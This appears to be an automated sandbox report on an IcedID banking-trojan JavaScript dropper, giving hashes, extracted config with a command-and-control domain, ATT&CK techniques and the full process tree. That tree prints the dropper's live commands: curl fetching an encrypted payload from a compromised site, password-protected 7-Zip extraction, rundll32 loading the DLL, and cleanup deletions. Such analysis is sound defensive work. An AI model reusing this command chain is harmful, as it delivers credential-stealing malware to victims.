icedid | 9bb9e0d33d74a56fa1eeaea35fe0c0791303c2f81ea61d1c91a9a5c08f3f1bb7

Analysis

max time kernel
152s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20230915-en
resource tags

arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
submitted
14/10/2023, 01:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Document_09_13_617.js
Size 44KB
Sample231014-btlm4abd53
SHA256 9bb9e0d33d74a56fa1eeaea35fe0c0791303c2f81ea61d1c91a9a5c08f3f1bb7
MD5 4bc2420ce8f7d9a440b8e79e8fc6832a
SHA1 bb9b38ed922757669d05476cfcb6ed45332caee4
SHA512 f98b7553ed13031b0eaa4739e61e485b95b2adbdf68c912caece62b1357e694c80ea7b99f7b3d4f442fe6732555a54c0e0ffa8ea7544c1c2675d6e2a50d1f69b
SSDEEP 384:eYpS664vE0Fpy4OtWbZCoO1ok7jzc56eFs4/EaNBkBNjHADr+L/fM9s+g3CtF2WD:HarbP1Z1EsS0E2RtD1rUCYAEq4t
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

icedid 1638996626 banker loader trojan

Malware Config

Extracted

Family

icedid

Campaign

1638996626

minutozhart.online

Signatures

IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
trojan banker icedid
Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1574508946-349927670-1185736483-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
824	quaerat.x

Loads dropped DLL 1 IoCs

pid	Process
3832	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3832	rundll32.exe
3288	Process not Found
3288	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3832	rundll32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeRestorePrivilege	824	quaerat.x
Token: 35	824	quaerat.x
Token: SeSecurityPrivilege	824	quaerat.x
Token: SeSecurityPrivilege	824	quaerat.x

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 928	4700	wscript.exe	86
PID 4700 wrote to memory of 928	4700	wscript.exe	86
PID 4700 wrote to memory of 2052	4700	wscript.exe	88
PID 4700 wrote to memory of 2052	4700	wscript.exe	88
PID 4700 wrote to memory of 2132	4700	wscript.exe	90
PID 4700 wrote to memory of 2132	4700	wscript.exe	90
PID 2132 wrote to memory of 4920	2132	cmd.exe	92
PID 2132 wrote to memory of 4920	2132	cmd.exe	92
PID 4700 wrote to memory of 4636	4700	wscript.exe	93
PID 4700 wrote to memory of 4636	4700	wscript.exe	93
PID 4700 wrote to memory of 5108	4700	wscript.exe	96
PID 4700 wrote to memory of 5108	4700	wscript.exe	96
PID 5108 wrote to memory of 824	5108	cmd.exe	98
PID 5108 wrote to memory of 824	5108	cmd.exe	98
PID 5108 wrote to memory of 824	5108	cmd.exe	98
PID 4700 wrote to memory of 628	4700	wscript.exe	102
PID 4700 wrote to memory of 628	4700	wscript.exe	102
PID 4700 wrote to memory of 3500	4700	wscript.exe	100
PID 4700 wrote to memory of 3500	4700	wscript.exe	100
PID 4700 wrote to memory of 3872	4700	wscript.exe	104
PID 4700 wrote to memory of 3872	4700	wscript.exe	104
PID 4700 wrote to memory of 3832	4700	wscript.exe	106
PID 4700 wrote to memory of 3832	4700	wscript.exe	106
PID 4700 wrote to memory of 2700	4700	wscript.exe	107
PID 4700 wrote to memory of 2700	4700	wscript.exe	107

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\Document_09_13_617.js"
  2⤵
  PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location > "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  PID:2052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\curl.exe
    curl https://topbeauty.ae/wp-content/plugins/elementor/includes/widgets/traits/1136.7z --output "C:\Users\Admin\AppData\Local\Temp\repellat.k" --ssl-no-revoke --insecure --location
    3⤵
    PID:4920
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" https://www.7-zip.org/a/7zr.exe --output "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
  2⤵
  PID:4636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ""C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k" > "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5108
- - C:\Users\Admin\AppData\Local\Temp\quaerat.x
    "C:\Users\Admin\AppData\Local\Temp\quaerat.x" -p#4p2h@!eiNtKVN46 e -so "C:\Users\Admin\AppData\Local\Temp\repellat.k"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\repellat.k"
  2⤵
  PID:3500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\quaerat.x"
  2⤵
  PID:628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ren "C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m" "aut.i"
  2⤵
  PID:3872
- C:\Windows\System32\rundll32.exe
  "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\aut.i", scab /k abebas531
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\aut.i.bat"
  2⤵
  PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

aut.i

Path C:\Users\Admin\AppData\Local\Temp\aut.i
Size 200KB
SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
MD5 3fd553288a6d354f9af0ebfabfde3b66
SHA1 8fdf7ccf8d3983148b096ac15a097af9ae7db9e7
SHA512 670fd63f213cd37cfff6638d92d16188b70f00fd8760fed0d7be19c4412e2cd37271d0d61570845dd2286c7bc1ea4e8d339aaea07aee8a9b9fceb9abd2612ae8
SSDEEP 6144:CMyHvuuieC+N0UasXQDwKvjKrTewT4GN3tGI:JQuuH993X0vjKmGNdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

aut.i.bat

Path C:\Users\Admin\AppData\Local\Temp\aut.i.bat
Size 183B
SHA256 016a49f419442dc0d9368d5e2bff45372fff3fd43cc808d618d6d92a8d00aca6
MD5 e6c92987420048003b1507646ed17dc2
SHA1 550e10d9ae5671306ef8fff13817c728116441b0
SHA512 a8bddb21561a9546bcddf145774e0e04d826ca3b5588bb213570a37b83810032e0eba3775575f6befb54628399707d710a70569d4a9a52e18c91d6784c3a88f7
MD5 SHA1 SHA512

Submit Download

aut.iipsa.m

Path C:\Users\Admin\AppData\Local\Temp\aut.iipsa.m
Size 200KB
SHA256 af00ea4220c4c3a4ef0a9d9d389c7a7932feac85d0837a0cbd4c7de74071be69
MD5 3fd553288a6d354f9af0ebfabfde3b66
SHA1 8fdf7ccf8d3983148b096ac15a097af9ae7db9e7
SHA512 670fd63f213cd37cfff6638d92d16188b70f00fd8760fed0d7be19c4412e2cd37271d0d61570845dd2286c7bc1ea4e8d339aaea07aee8a9b9fceb9abd2612ae8
SSDEEP 6144:CMyHvuuieC+N0UasXQDwKvjKrTewT4GN3tGI:JQuuH993X0vjKmGNdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

quaerat.x

Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
Size 571KB
SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
MD5 58fc6de6c4e5d2fda63565d54feb9e75
SHA1 0586248c327d21efb8787e8ea9f553ddc03493ec
SHA512 e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
SSDEEP 12288:FSjMK6lrdOCdlki5Zc0EyR35ksye/X16PJz5tghj+:FSjieCd+i5s+Jks1foxz5Whj+
MD5 SHA1 SHA512 SSDEEP

Submit Download

quaerat.x

Path C:\Users\Admin\AppData\Local\Temp\quaerat.x
Size 571KB
SHA256 72c98287b2e8f85ea7bb87834b6ce1ce7ce7f41a8c97a81b307d4d4bf900922b
MD5 58fc6de6c4e5d2fda63565d54feb9e75
SHA1 0586248c327d21efb8787e8ea9f553ddc03493ec
SHA512 e7373a9caa023a22cc1f0f4369c2089a939ae40d26999ab5dcab2c5feb427dc9f51f96d91ef078e843301baa5d9335161a2cf015e09e678d56e615d01c8196df
SSDEEP 12288:FSjMK6lrdOCdlki5Zc0EyR35ksye/X16PJz5tghj+:FSjieCd+i5s+Jks1foxz5Whj+
MD5 SHA1 SHA512 SSDEEP

Submit Download

repellat.k

Path C:\Users\Admin\AppData\Local\Temp\repellat.k
Size 81KB
SHA256 c2c40c1e397f4356ba3b7a37f38211330271b8e2651377bf94e172cad9225902
MD5 b0911d9fa2eb70dd4b6d12e3df116ae0
SHA1 26e92feaa442dcce86018c78d91b157239084b27
SHA512 fda8ac121c549dd4753ab73a7709b2a7571fc547656802134f6fce91aff3b208964b1aee196a76c006d07b6567282cad580c889b9534e10ab1635cd75d2bccb4
SSDEEP 1536:KpDqyMOHuh1rOdVkNAEcc5M3EpAF83Lj53an8e/PPW2nexWVcOvEd9Q2XCXt:QXHuhgdVkiEcSIFF8b4n8e/Pu2cWTvsw
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3288-12-0x00007FFE37CE1000-0x00007FFE37CE2000-memory.dmp

Download

memory/3288-13-0x0000000180000000-0x0000000180009000-memory.dmp

Download

memory/3288-20-0x00007FFE37CE1000-0x00007FFE37CE2000-memory.dmp

Download

memory/3832-11-0x00000177EB420000-0x00000177EB424000-memory.dmp

Download